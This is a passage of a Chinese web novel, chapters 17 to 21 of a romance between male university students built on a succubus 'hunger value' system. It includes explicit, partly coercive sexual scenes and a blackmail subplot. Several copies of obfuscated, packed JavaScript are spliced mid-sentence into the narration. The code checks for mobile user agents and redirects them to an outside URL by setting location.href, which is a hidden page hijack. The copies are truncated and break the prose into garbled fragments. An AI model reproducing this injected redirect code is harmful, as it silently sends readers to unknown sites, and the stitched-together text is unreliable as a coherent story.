梁文乐被他推开,撞到座椅靠背,头疼得厉害,不一会儿就清醒过来,摸着后脑勺看向旁边的驾驶座。 车子以及开起来,很平稳,速度也不慢,叶临全神贯注,紧紧地盯着前面。 梁文乐不满地“啧”了一声,用力拍扶手:“刚刚是你把我推开,害我撞疼了!” 叶临听到他的语气不再黏乎,吓得正襟危坐,立即调整语气:“文乐对不起,我刚刚是不小心的,你原谅我吧。” “不小心的?”梁文乐完全不信,冷冷道:“我看你就是觉得,我对你太好了,所以肆意妄为!” 叶临下意识地讨饶:“对,是我不知好歹,明明文乐对我已经很好了,但我还是不满足,太过分了,该打该打!” 这副狗腿子的奴才样,又让人有气没处撒。 梁文乐嫌弃地白他一眼,考虑到驾驶安全,还是打算到别墅再跟叶临算账。 这期间,他的脑海里浮现出很多有关叶临的画面,比如在很多人面前,他跟叶临接吻。 等等,这是真的吗? 梁文乐光是想想就感觉脸颊发烫,连忙拿出手机询问他的那些狐朋狗友。 结果这些朋友直接把图片发给他,还夸赞他好大胆:现在都敢当众跟叶临秀恩爱了,也不怕被梁家的长辈们知道。 照片里他的神情沉醉,就是在享受这个过程。五颜六色的灯光照下来,就像是庆祝他们幸福的礼花。 怎么会这样,他跟叶临亲了? 而且这次不是因为误会,轻轻地碰一下,是非常热情地纠缠! 梁文乐慌慌张张地放下手机,心脏跳得很快,就像在打鼓,脸颊和耳垂都在发烫。 高中的时候,他也看到班上的一对男同学接吻,是在天台偷偷的,很美好的感觉。 但是临到自己,居然是在这种场合,被所有人围观,而且对象还是蠢货叶临。 会觉得生气,同时又忍不住去回味。 好像是很软的,而且散发着淡淡的香味。 还酥酥麻麻的,心脏过电一样,整个灵魂都在颤抖。 梁文乐胡思乱想,都没意识到车停了,还是被叶临叫了名字才反应过来,下车就骂。 “最讨厌你了,今天还让我当众出糗!” “文乐对不起,我不该当众让你出糗,下次不敢了。” “你根本不知道我在说什么!” 完了,老板是真生气! 叶临连忙跟上去哄,他可舍不得放弃这个好骗的大老板。 梁文乐迅速跑起来,到二楼的卧室才停下来,他听到叶临还在身后小心翼翼地说好话,心情就很好。 从来没有人像叶临这样怕他生气,费尽心机地讨好他。 他也不是真生气吧,只是觉得生气后叶临慌乱的样子很好玩。 “文乐,你别气了好不好。”叶临抓住他的后衣摆,态度放得很低,恨不得跪下来捧着他。 “好吧,那我勉强原谅你。”梁文乐总算满意,转过身看他,发现嘴唇还是很红:“那我问你,刚刚为什么要主动亲我?” “不是文乐你先亲上来的吗?”叶临无奈了,他真搞不懂老板的想法。 “是吗,但我记得是你这样.......”梁文乐倾身凑近,感觉到软意,鬼使神差地贴近,品尝滋味。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483426|170058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他是不会的,只是蜻蜓点水,就迅速离开,脸颊还是红的。 “是文乐醉酒了先凑上来,然后我没办法。”叶临很头疼,尝试跟他解释。 “为什么.......”梁文乐没听他的话,只是在纠结记忆中的感觉:“为什么没有酥酥麻麻的感觉,好奇怪?” “因为你没张嘴啊,小孩子才这样轻轻地触碰,成年人都是.......”叶临嫌弃地翻了个白眼。 还没说完梁文乐就将他搂入怀里抱着,低头来吻。 梁文乐的睫毛很长,弄在脸上痒痒的,就好像是两把小刷子,而且动作很笨拙,都咬疼他了。 叶临忽然觉得自己身负重任,必须好好地引导。 虽然过程有点波折,但总算教会梁文乐尽量用舌,而不是牙齿,以及细微的动作。 梁文乐尝到了从未有过的甜头,分开的时候脸颊泛着红,呼吸很热。 叶临原本是蠢笨无能的形象忽然焕然一新,浑身上下都散发着光芒,就像是一块未被开掘的宝石。 他还想体验,又凑过去。 这回,梁文乐学会了,不甘示弱地将他所教授的一切返还回去,甚至青出于蓝,多出很多花样。 轮到叶临腿软了,他靠着门侧,伸出手去抓梁文乐的衣袖,才勉强站住。 梁文乐很贪吃,哪里都要尝尝,而且一次不够,要反复几次,完全浸味了才会换地方。 呼吸变得灼热,就像是夏日的风,吹拂在脸上,燥热又有痒意。 十多分钟才分开,还粘连不断。 叶临靠着梁文乐,慢慢地呼吸,脸颊和脖颈都很红,眼睛有了水意,看起来就像是被欺负。 【饥饿值已经下降到85%,还请宿主继续努力。】 果然,这样漫长的吻,下降的量就很多。 叶临安心落意,暗暗发誓,以后还是要多注意饥饿值,这个数值高了,就很危险。 梁文乐盯着叶临看,心里忍不住想:原来接吻是这种滋味,怪不得那些谈恋爱的情侣都很喜欢呢,今天体验感很不错。 可是他是初吻,叶临是吗? 梁文乐摸了摸叶临发烫的耳尖,认真地问:“叶临,你老实说,你以前有亲过别人吗?” 叶临抬头去看梁文乐,发现他的面部线条已经变得柔和,眉眼微弯,显然是高兴了。 小少爷就连手机都是私人订制的,应该不希望听到他亲过别人。 叶临斟酌词句,这才慢吞吞地回答:“我就亲过你一个啊,没别人了。你也知道的,大家都讨厌我,才没有人愿意亲我呢。” 在梁文乐眼里,他这样说话可怜招人爱,同时具备清纯和魅惑。 好吧,果然叶临的初吻是他。 梁文乐莫名觉得很高兴,就像是挖到了宝藏,抓着他往房间里走:“我今天高兴,允许你留宿。” 现在饥饿值高,留在梁文乐家里太危险了,还是找机会回去吧。 叶临没有往前走,而是钉在原地:“文乐,你不是嫌弃我嘛,我还是回去吧,现在时间还早。” 梁文乐最开始很嫌弃叶临,但是现在就想粘着,但他才不会直说呢,大声骂起来:“我让你留下你就留下,话那么多,成心气我啊!” 叶临没办法,只好先进房间,再继续在手机上联系顾嘉致。 18. 第18章 梁文乐的卧室布置温馨,以奶油色调为主,柜子上摆满了各种各样的车模。 尤其让人惊讶的是,卧室连着超大衣帽间。 这里面的衣服哪怕连着五六年穿都不会重样,还有各种适配的鞋子和配饰,堪比一家服装店。 怪不得,他每天上学穿的衣服都不一样。 有钱真好啊,衣服也有单独的家。 叶临羡慕得想哭,越发地觉得自己的有钱人之路漫长而艰难。 梁文乐拿了一套白色睡衣给叶临:“这是我高中穿的,你应该能穿,左手边去洗澡,你一定要洗干净,我最讨厌臭东西了!” 叶临接到睡衣,发现这面料摸起来很舒服,应该价值不菲,连连点头:“好嘞,我绝对不会弄脏文乐的房间。” 沐浴露很香,不是劣质人造香味,而是纯天然的植物香味,像是月桂和茉莉混杂在一起,闻久了还有种淡淡的橘子甜味。 梁文乐每天都香香的,不像顾嘉致,身上基本上没味道,就算有,也是单调的木香。 叶临感慨梁文乐的生活精致,回到房间只敢坐着床的一角,低头滑动消息。 可惜,顾嘉致就是不回他消息,反倒是沈邵提出来好友申请。 烦死了,想到有把柄在这个贱人手上就生气! 暂时不同意,过两天再说吧,免得沈邵得意。 梁文乐洗完澡就在旁边躺下来,拍拍床:“你快躺下睡觉啊,我明天还要去上学,得早起。” 叶临放下手机躺下来,刻意跟梁文乐保持距离。 看着这个笨蛋穿着高中时候的睡衣,还散发着跟自己同款的香味,总感觉收获了一个独属于自己的人。 梁文乐的心情很奇妙,把叶临拽到怀里亲,反复确认自己的气息才满意。 叶临不敢用力挣扎,只能任由他动作。 还好,梁文乐亲了一会儿就关灯睡觉,没有多做什么。 他又做了那个熟悉的梦,叶临跟他拥吻很久,很久....... 直到双方都快呼吸不过来,才停下来。 叶临还抓着他的手,呼吸不匀,声音软软的:“文,文乐,我们做别的吧。” 下一刻,梁文乐就醒过来,他发现自己居然又弄脏被套,无奈叹气。 旁边的叶临睡得很熟,侧躺着,脸上的细小绒毛呈现淡白色,随着呼吸轻轻地起伏。 梁文乐才反应过来,自己昨天真是吃错药了,居然让叶临睡在旁边,还亲了很久! 不是,他喝多酒,精神错乱? “唔嗯.......”叶临忽然发出细微的声响,嘴唇开合。 梁文乐又想起昨天晚上的滋味,他哪里尝过这种感觉,当然抵抗不了,只好用力拍叶临的脸:“懒猪,快起来!” 叶临的脸颊瞬间就红了,疼得呲牙咧嘴,但他眯起眼睛瞧见梁文乐,又不敢发火,只好坐起来:“我知道了。” 这时,梁文乐才注意到他的左手腕居然青紫了一圈,应该是被人强行捏出来的。 “你左手怎么回事?” “啊,这个........是文乐昨天晚上喝醉酒,一直缠着我,稍微用力捏出来的。” “是吗,我怎么不记得用力捏过?”梁文乐努力回想,只觉得脑袋疼,但确实想不到自己用力捏过叶临的手腕。 “就是的,醉酒会忘事,文乐大概忘记了吧。”叶临心里慌得厉害,脸上又要装无辜可怜:“不过没事,过几天就消了,文乐不用放在心上。” “本来就不会放在心上,谁在意你啊!”梁文乐打开床头柜,拿出药膏递过去:“活该,肯定是你惹到我,才会用力的!” 叶临接过药膏,连连道歉:“对,是我嘴笨,总是惹文乐生气,活该!” 梁文乐满意地哼一下,催促他快点去洗漱,准备上课。 他们今天出发得早,到教室的时候还没多少人,可以挑选靠窗的后排位置。 梁文乐想起来自己还有一份手写作业没完成,于是拿出来放在叶临面前,要求帮忙抄。 叶临虽然不情愿,但还是老老实实地拿起笔来抄写,反正他对梁文乐唯命是从,不会反抗。 还好作业很少,几分钟就抄完了。 梁文乐又要求他去外面买饮料和水果,待会儿上课才好打发时间。 叶临只好走远路去商铺购买,路上又试着给顾嘉致打电话发消息。 结果这家伙还是不接,就像是人间蒸发了一样。 不是,本来饥饿值就处于一个危险值,顾嘉致还不接电话,是想害死他吗! 看来好兄弟都不靠谱,烦死! 【饥饿值87%,请宿主补充能量。】 听到系统的提醒,叶临的心情更加暴躁,差点把手中的饮料瓶捏变形。 进入教室的时候,他就忍不住想:要不然,就让梁文乐亲一会儿。 虽然治标不治本,但能减一点是一点吧。 叶临走到梁文乐旁边,把东西递过去。 距离上课还有五分钟的时候,就看到顾嘉致从后面走进来,在后排随便挑个位置坐下。 顾嘉致熟练地打开课本,拿起笔看讲台,一套动作行云流水,完全没有看叶临。 这,这,这家伙! 叶临快要被他气炸了,什么意思嘛,跟他冷战,还是想跟他绝交,明明人都在教室,还不回消息! 梁文乐注意到叶临不断地捏饼干的包装袋,出声问:“你怎么回事,饼干惹到你了吗?” 叶临连忙松开手,干笑起来:“没,没事。” 说完,叶临打开草莓汁的瓶子,喝了几口。 红色的草莓汁残留在嘴唇上,看起来红润柔软,就像昨天晚上一样。 梁文乐心很痒,干脆拿出课本挡在他和叶临面前,低声说道:“你靠近点,我要亲你。” 叶临愣了片刻,小声提醒:“这里是教室。” 没等他反应过来,嘴唇就已经印上来。 顾及周围的人,只是浅尝辄止。 梁文乐心中的烦躁感总算有所缓解,但是时间太短,总觉得不满足。 他18岁,刚上大学,昨天的事情无异于将他带入一个新世界,忍不住到处探索,不知疲倦,不知克制。 叶临看着教授走进来,连忙推开书。 与此同时,刚好跟左斜方的顾嘉致对上眼神。 顾嘉致的眼底酝酿着滔天的恨意,正盯着他和梁文乐,虽然没有说话,但也感觉到他骂了很多脏话。 莫名其妙,又怎么惹到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁文乐转身去看,发现顾嘉致已经到了跟前,放松地笑起来,拍拍他的肩膀:“嘉致是你啊!那刚好,你帮我望望风,不然叶临老是担心,影响我们接吻。” 顾嘉致没看他,盯着叶临问:“哦,他在担心什么?” 梁文乐有点奇怪他今天的态度,但还是回答:“担心被人看到呗,嘉致是我朋友,看到也没什么。” 叶临的脸颊红扑扑的,呼吸才缓过来:“那也有被其他人看到的风险,而且文乐你这样不好。” 梁文乐哼了一声:“我觉得很好啊!算了,干脆翘课,你跟我回家好了!” 叶临不想再受折磨了,连忙找借口:“文乐,你逃课被爸妈知道了,肯定会被骂的,还是别了。” 梁文乐无所谓地摆手:“他们才不会知道。” 事到如今,叶临只好看向顾嘉致,他希望这家伙至少有点良知,好歹帮他说两句话,那样他们的友谊还有救。 顾嘉致阴沉着脸,浑身上下都散发着死味,像森林深处的沼泽地,幽暗潮湿,散发着尸体的腐烂味,毫无生机。 19. 第19章 “文乐,今天是李教授的课,你大伯的朋友。” 梁文乐听完他这句话,立即骂了一句,“烦死了”,急匆匆地往回赶,还叮嘱叶临跟上来。 顾嘉致深知他的痛处,那就是家里管的严,大学里有很多爸妈的眼线,要是缺课,就会被说。 梁家现在不管他谈恋爱,是因为觉得他在娱乐,在这个圈子里,富二代年轻的时候随便玩玩很正常。 叶临刚想跟着去教室,就被顾嘉致拦住。 顾嘉致的目光在叶临身上四处游转,就像是探测灯在勘探,没有看到任何梁文乐留下来的痕迹,怨气才消了一成。 梁文乐和叶临接吻的画面却在脑海里挥之不去,令他浑身难受。 顾嘉致感觉不到叶临,回头大声道:“你快点啊,走好慢!” 叶临心里骂他眼瞎,但面上应和,还小声要求顾嘉致:“你让开。” 顾嘉致轻声道:“还想在教室被他亲,不会找借口吗?” 叶临立即反应过来,捂住肚子,假装疼:“文乐,我先去一下厕所,待会儿过来。” 梁文乐骂他多事,又注意到顾嘉致距离叶临很近,立即走过去把顾嘉致拉开,无奈道:“虽然我知道你是直男吧,但你还是要离我的男朋友远点,不然被别人误会,我很尴尬的。” 顾嘉致听到“男朋友”这个词,就像是被人扇了巴掌,愣是说不出话。 叶临趁机从他们旁边溜过去,朝着厕所跑,没有管后面的状况。 梁文乐看着他的背影,还是提醒:“你快点回来!” 顾嘉致终于憋不住了,质问道:“之前你不是还说叶临是蠢货,谁看上他就是有病吗? 怎么,现在一口一个男朋友,喜欢上了,这不是打脸?” 这句话倒是在理,之前说看不起,不会谈恋爱,结果现在偏要叶临陪着自己,这就显得很甜蜜。 如果承认他喜欢叶临,岂不是说明他犯贱? 梁文乐跟顾嘉致同样好面子才玩到一起的,连忙反驳:“我,我又没有把他当成男朋友,我只是想逗逗他,觉得好玩而已。” 顾嘉致继续添油加醋,他非常希望梁文乐讨厌叶临,这样叶临在梁文乐这里受到挫折,就会来找他:“我和你说,以前叶临欠了很多钱,全是靠男人还清的。 他讨好你,都是为了你的钱,别以为他会喜欢你。” 梁文乐想到叶临熟练的技巧,他们亲密的时候确实是叶临引导他的,难道叶临真的有很多经验吗? 早上的晨光照在叶临脸上那样美好,叶临坐在旁边,就连上学路途中的风景都变美了。 现在大晴天都感觉到冷意,像是大雨前的狂风刮过。 梁文乐的眼睛黯淡无光,喃喃道:“他,他以前谈过很多男人吗?” 顾嘉致的眉眼微弯,就快要按耐不住内心中的狂喜:“那肯定啊,你看他多会哄人,就是经验丰富,练出来的。 不过吧,你又不喜欢他,肯定不在乎这些。我们文乐要谈就谈个干净,初恋只能是自己的,怎么能谈这种货色呢!” 梁文乐的心脏忽上忽下的,他忽然没那么想跟叶临粘在一起了,鼻尖都有点酸。 叶临身上太多疑点了,看见美女就心花怒放,很会讨好他,还很会接吻,这些怎么可能是青涩干净的特征呢? 顾嘉致见话说得差不多了,就揽住他的肩膀:“走吧文乐,回去上课。” 梁文乐跟着他回去,心不在焉地进入教室,满脑子都在想叶临的事情,还发消息让人帮忙查叶临的底细。 没一会儿,叶临给他发消息,说是肚子疼要去医院。 正常情况下,他都会回复,但现在半点心情都没有,满脑子都是顾嘉致说的“经验丰富”。 叶临离开学校后,优先回到公寓。 他发消息骗过梁文乐后,就在纠结该怎么跟顾嘉致说话,毕竟他们现在很尴尬。 顾嘉致不联系他有错在先,理应骂他。但是顾嘉致刚刚又帮他解围,理应感谢。 而且最关键的是,饥饿值没清空,还处在一个非常危险的区间。 烦死了! 叶临看着镜子中的自己,嘴唇红得很厉害,而且还有种麻麻的痛感,忍不住骂了梁文乐。 【宿主,饥饿值提升至85%,还请补充能量。】 所以说,只靠亲吻,根本不可能把这个饥饿值下降到安全的区间。 “麻烦!” “麻烦什么?” 叶临刚听到回答,就被人从后面抱住。 镜子中照出顾嘉致的脸,眉眼压着,看起来像是被人欠了几个亿,表情很臭。 “你什么时候进来的?” “刚刚。” 怎么轻飘飘的,都没听见脚步声? 叶临疑惑之余想推开他,却被搂紧,差点呼吸不过来,连忙拍手去打,嘴里骂着,“你有病啊!” 顾嘉致凑过去亲他,像是猛兽在撕咬,不给活口。 没一会儿,两个人都尝到了血腥味。 叶临本来就疼,疯狂地捶打他,还用脚踢:“疼疼疼,你还要咬.我,想死是吧!” 顾嘉致不听,继续折磨,还凑到他耳边,沉声道:“谁让你跟梁文乐亲那么狠,疼了也是活该!” 本来就像是花瓣一样柔软娇.嫩,怎么可能经得住反复多次。 疼意就像是蛛网传开,比破皮撒了盐还难受。 叶临挣扎的幅度变大,骂得更大声:“操!那是我情愿的吗,还不是梁文乐非要的,跟没亲过一样,烦死了!” 顾嘉致忍俊不禁:“他当然没亲过,小c男一个。” 叶临听了笑出声,男生之间就是这样,会以此作为谈资,经验多蔑视经验少的,像梁文乐这种经验为0就是食物链底端了。 顾嘉致见他笑了,顺势嘲笑好兄弟:“你看,我就说了吧,梁文乐被他爸妈养得贼可笑。” 男人的嫉妒心最强了,他平时跟梁文乐称兄道弟,但一直嫉妒梁文乐是独生子,可以完整地得到爸妈的爱,背地里没少说坏话。 叶临为人实诚,笑完就反应过来,戳了戳顾嘉致的胸口讽刺:“你不是前段时间才破c嘛,那么生涩,我都看出来了。” 顾嘉致的笑容瞬间凝固。 叶临见他吃瘪,高兴地手舞足蹈:“哈哈哈哈哈,谁让你这几天都不接我的电话,活该活该!” 顾嘉致忽然想到什么,往后退了一步,故意道:“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483428|170058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你饥饿值肯定很高吧。” 叶临抬脚去踹他。 却不是用力,而是轻轻地放在某地。 “对啊,就是很高,你再不回来,我都想随便找个男人解决算了。” 顾嘉致抓住他的脚.踝。 按压,慢慢地带动,表情痴迷。 “有了我,还要别人,不怕惹上麻烦?” 叶临的心思早就飘到别的事情上,没有回答。 其实顾嘉致早看到叶临的消息和电话,但是记恨叶临过于关注梁文乐,所以故意不回复。 他就想看看,没有他,叶临会不会着急。 但事实证明,叶临还是不够在乎他,哪怕很多天联系不上,也不会想办法找他,甚至跟梁文乐感情升温了。 顾嘉致越想越气,故意折磨叶临,偏偏不让他如意。 往常他们配合得很好,就像晴天里的风和船帆,一往无前。现在却是雷雨天,小船无助地漂泊,找不到方向。 叶临愤恨地咬他的肩膀:“你愣着做什么?” 顾嘉致丝毫不着急,慢条斯理地准备:“我想看看你的魅魔形态,不是还没满吗,一次性减掉多好。” 叶临想到神志不清的模样,用力咬出印子:“顾嘉致,你个脑瘫,别磨叽了!” 可是顾嘉致偏要磨蹭,都不吻他了,杜绝一切可以补充能量的行为。 “艹!顾嘉致,你想死啊!” “有你这么吊着兄弟的吗?” “别急,重头戏都是慢的。” “滚犊子,快,快!” 随着时间流逝,叶临几乎要化成一摊水,从洗手台上流下来。 【饥饿值到达100%!】 只是眨眼间,顾嘉致清晰地看到: 叶临头上长出了黑色的盘角,后面伸出细长的桃心尾巴,眼睛水雾雾的,还有红色的纹路。 叶临的骂声消失了,只会抓着他的手索求,声音黏糊糊地说着:“你,你摸摸我啊.......” 顾嘉致照做,同时心里浮现出一个念头:他绝对不能让叶临这副模样被其他人看去,只有他才能拥有此刻的叶临。 叶临的尾巴不断地摇晃。 而且摇晃的频率会随着顾嘉致的动作做出变化,忽快忽慢,忽上忽下。 顾嘉致发现这个规律,会刻意观察,从而做出调整。 过了很久,叶临开始恢复神志,但魅魔形态还没有完全解除。 顾嘉致让他看前面的镜子,偏头去亲吻头顶的角:“你看,你这样多可爱。” 叶临觉得头顶痒,盯着镜子中的尾巴,都不敢相信这是自己和顾嘉致,吓得想跑。 却被强行按回去,脸都贴紧镜面,冰凉的。 【饥饿值到达0%】 听到这个声音,叶临急忙叫起来:“混蛋顾嘉致,你,你松开我!” 顾嘉致故意去呼他的耳垂:“急什么,这才刚开始。” 叶临想去打他,也找不到角度:“都清零了,够了够了!” 顾嘉致开始装傻:“是吗,我又看不见,我感觉还差得远呢!” 刚刚只是报复的前菜。 他还没让叶临崩溃哭出来,是不可能结束的。 20. 第20章 “刚刚不是催我吗,怎么现在变脸了?” “艹,你,你明明知道我为什么催你!” 叶临真的受不了,他感觉自己不正常。 就像是站在海滩边,不断地有浪花打过来,时而是高大的巨浪,将他整个人淹没,就快要昏倒;时而是低矮的小浪,堪堪没过脚跟,跟挠痒痒一样。 而且大都是小浪,偶尔来一个巨浪,容易让人招架不住。 要是没有顾嘉致扶着,他真的要掉地上了。 镜子被热气模糊掉,白蒙蒙的一片,照不清人脸。 叶临用力扣住洗手台的边缘。 过于用力导致指节都泛着粉。 呼吸灼热,像是锅里冒出的蒸汽,额角都被热出细密的汗珠。 他好不容易找到个机会,骂出声听起来又像是在撒娇:“混蛋,不能再..........” 顾嘉致发现膝盖都被磨红了,看起来确实很可怜。 只好把人抱起来:“行吧,我们回房间。” 叶临重心不稳,头差点歪倒下去,连忙搂住顾嘉致的肩膀,痛骂:“你有病啊,突然这样!” 顾嘉致轻轻地拍了拍,故意调侃:“你这不是好好的嘛,还有力气骂人,怎么就不行了。” 叶临意识到他要慢慢地走回去,惊叫起来:“顾,顾嘉致,你这个脑瘫,不能这样走回去!” 顾嘉致故作无辜,继续行走:“那我还能飞回去吗,真是不讲道理,我又没有翅膀。” 叶临叫了一声,先是仰头露出洁白的脖颈,而后又迅速垂下来。 再也说不出话,就连抓住肩膀的手都失去力气,轻轻地滑落。 就像是只昏倒的天鹅,只能依偎在主人的怀里,再也不能扑腾翅膀。 顾嘉致轻轻地拍背,假意安抚:“你们魅魔有翅膀吧,你怎么不张开翅膀飞回去呢?” 叶临快恨死他了,张嘴就去咬,可是又没有了之前凶狠的劲儿,只是留下浅浅的印子。 “你真该去死!” “我死了,谁帮你解决饥饿值?” “天底下有的是男人,差你一个了吗?” “叶临!” 顾嘉致听不得这种话,他只希望叶临来找他,绝对不能去找别的男人。 那样他会窝火且酸涩,恨不得把叶临塞进肚子里,再也不拿出来。 【当前金钱增速每小时22万】 叶临有了从未有过的感觉,双眼发直,几乎失去了意识。 难以自控地抖起来。 紧接着他就靠着顾嘉致哭起来,眼泪像是晶莹的水晶珠不断落下,打湿衣服的背面。 根本忍不住,突然就很想哭,而且怎么都停不下来。 顾嘉致把他放下来,冷着脸警告:“说了,你以后想解决饥饿值就来找我,非不听!” 叶临还在哭,一抽一抽的,没有说话。 眼尾和鼻尖都是红的,嘴唇破皮,身体还在发抖,看起来就像是受惊的兔子。 确实很可怜,吓唬完也该哄了。 顾嘉致心满意足,凑过去亲。 “啪——” 结果被狠狠地打了一巴掌,半张脸立刻红起来。 顾嘉致正想数落他,又是一巴掌打过来,整张脸都肿起来:“叶临,你别太.......” 还没等他回答,叶临的脚就踹过来。 这力度太大,正中胸口,害得他往后倒去,头磕到旁边的桌子,疼得呲牙咧嘴。 叶临的呼吸还没平稳下来,眼神里尽是恨意,拿起床旁边的花瓶砸过去。 顾嘉致还没反应过来,就被花瓶砸中脚跟,疼得哀嚎起来:“你真往死里整我!” 叶临的目光落在他身上,理直气壮:“我没让你断.根已经很善良了,谁让你刚刚故意折磨我!” 感情这家伙对他拳打脚踢,都是手下留情了? 顾嘉致理不清叶临的逻辑,但他抬头去看叶临的脸,气都消了,还要故意调侃:“我哪里折磨你了,刚刚明明很喜欢,还........” 叶临拿起烟灰缸又要砸。 顾嘉致终于怕了,连忙爬起来哄他:“好好好,我刚刚错了,不该折磨你。” 叶临这才放下烟灰缸,用力戳顾嘉致的胸口:“顾嘉致,我住在这里,让你帮忙,是认你这个朋友。 我以后发达了,也会带着你的,但前提是,你以后不能做这种过分的事!” 眼睛水润润的,容易激起人的保护欲,但神态又不服低做小,还盛气凌人,有了矛盾的美感。 顾嘉致哪里认真听他的话,连忙抓他的手来亲,郑重地发誓:“我发誓,以后肯定都听你的。” 叶临挥挥手,完全不信:“少来哄女生那套,男人发誓都是放屁,我也会发誓,你不想听吧。” 顾嘉致笑起来,把他拉进怀里抱着:“那你发誓,以后只来找我解决,我还是信的。” 叶临不明白这家伙为什么纠结这点,但略作思考: 顾嘉致应该只想一个人掌握这个秘密,这样他以后发达了,还能以此作为功劳要求报酬,也算是他们关系好的见证。 其实他还是很满意顾嘉致的,完全不需要哄,还能使唤。而且跟他志趣相投,可以一起骂讨厌的梁文乐和沈邵,当朋友很不错。 既然顾嘉致要承诺,那就给呗。 他确实不想让别人知道魅魔形态的秘密,那样太危险了。 叶临信誓旦旦:“我本来就只找你,除了你,我还真信不过。” 顾嘉致就想听到他这些话,忽然觉得自己得到了安全感:“我和你说,梁文乐神经质,跟他靠太近容易惹麻烦。” 叶临赞同地点头:“梁文乐的脑袋确实有问题,但是有好处,先吊着吧。” 顾嘉致脸又黑了,他没意识到自己已经因为叶临心情不稳定,时常患得患失。 想到他的双胞胎哥哥顾柘,那确实是个麻烦。 叶临试探性地问:“你哥哥这个人不好相处吧,听人说很古板,像个老头。” 顾嘉致的注意力被转移,连连点头,跟着嘲笑:“就是老气横秋,有病一样,偏偏很多人都喜欢他。” 叶临满意了,拍拍他的肩膀:“我是觉得,你那个双胞胎哥哥给你提鞋都不配,以后肯定没你有出息。你放心好了,我以后肯定帮你对付他。” 顾嘉致疑惑:“你跟顾柘有过节?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再说了,梁文乐是男朋友,我哄着他很正常,你是什么东西,也要我哄?” 顾嘉致听不了他说这种话,气得浑身发抖,再也没办法学梁文乐那股劲,神情严肃地强调事实:“叶临!你搞清楚,现在是你吃我的,住我的,不应该对我态度好点吗?” 叶临立即起身,失望地看着顾嘉致:“哇,搞半天,你把自己当房东了是吧。行行行,你这里不留爷,自有留爷处!” 刚说完,他就急匆匆地走向大门,用力摔门才离开。 顾嘉致起身慢,没追上。 叶临出门就打车,随便定了公园就走。 他今天本来就烦,还被顾嘉致缠着,心情更暴躁了。 就搞不懂了,刚开始洒脱爽朗的顾嘉致怎么消失了,变成一个疑神疑鬼,逻辑混乱的蠢货? 明明很欣赏顾嘉致的,今天真是被恶心到了。 叶临的界限分明,他可以在老板梁文乐面前演戏,但不可能在好朋友顾嘉致面前演戏。 所以他无法理解顾嘉致。 21. 第21章 正是周末,公园里有很多人。 或是一家三口在草地上野餐的,或是小学生拿着水枪在玩,或是年轻人在跑步,总之大家都在享受节假日的氛围感。 就叶临一个人死气沉沉地在走,还时不时踢路边的石子,嘴里骂骂咧咧的。 他不断拿出手机查看,就是在确认顾嘉致有没有打电话或者发消息过来。 但是等了足足半个多小时,都没有顾嘉致的消息,反而看到沈邵的好友申请。 这次沈邵的好友申请理由极具威慑力:你不会忘记我手机有什么音频吧? 艹,才想起来,沈邵这个脑瘫掌握着他的把柄! 这人还很虚伪,拿个三无小号加他,摆明了是想坑一波就溜。 叶临纠结片刻,还是通过好友申请。 【终于舍得同意了,我还以为你要坚定到底呢?】 【你有什么事?】 【你自己清楚。】 沈邵那边发来酒店定位,还说明了房间号码,龌龊心思昭然若揭。 叶临想起他那副可恨的嘴脸,就觉得浑身起疙瘩,绝对不接受跟沈邵做这种事。 【今天没空,在陪文乐。】 【行吧,那明天呢?】 【没空,文乐很粘人的,我抽不开身。】 【是吗,我可是听说你们最近冷战了,你撒谎吧?】 确实如此,梁文乐最近都不来找他。 这就很苦恼,不仅失去了一大笔金钱收入,还给了沈邵趁虚而入的时机。 【才没有,是谣言。反正我有时间会来找你的。】 【你最好快点,我没什么耐心。】 沈邵又发来一小段录音,以示警告。 这家伙,自从上次宴会过后,演都不演了! 必须想办法解决掉,不然肯定会坏大事。 叶临开始回忆沈邵这个人物的经历,试图找到突破点。 记得沈邵现在22岁,在他23岁的时候,家道中落,沈家从顶富的梯队里掉出去,后面就很难起来了。 原著中,沈邵就是个前期小有实力的反派,很快就被主角打脸,不足为惧。 如果有办法让沈家快速坠落,沈邵就没有心情折腾他了吧。 沈家就是执迷于房地产,投入大量资源,但是后面楼盘崩了,就彻底没落。 到时候接触沈邵,就想办法骗他多购置垃圾资源,应该能加速沈家的没落。 叶临不太明白投资其中的弯弯绕绕,只记得最基本的逻辑,乐观地认为自己应该能够骗到沈邵,暂时没把这家伙放在眼里。 现下最重要的,还是把梁文乐这棵摇钱树牢牢握在手里。 必须恢复到以前黏糊糊的状态,这样又能骗到钱,还不给沈邵机会。 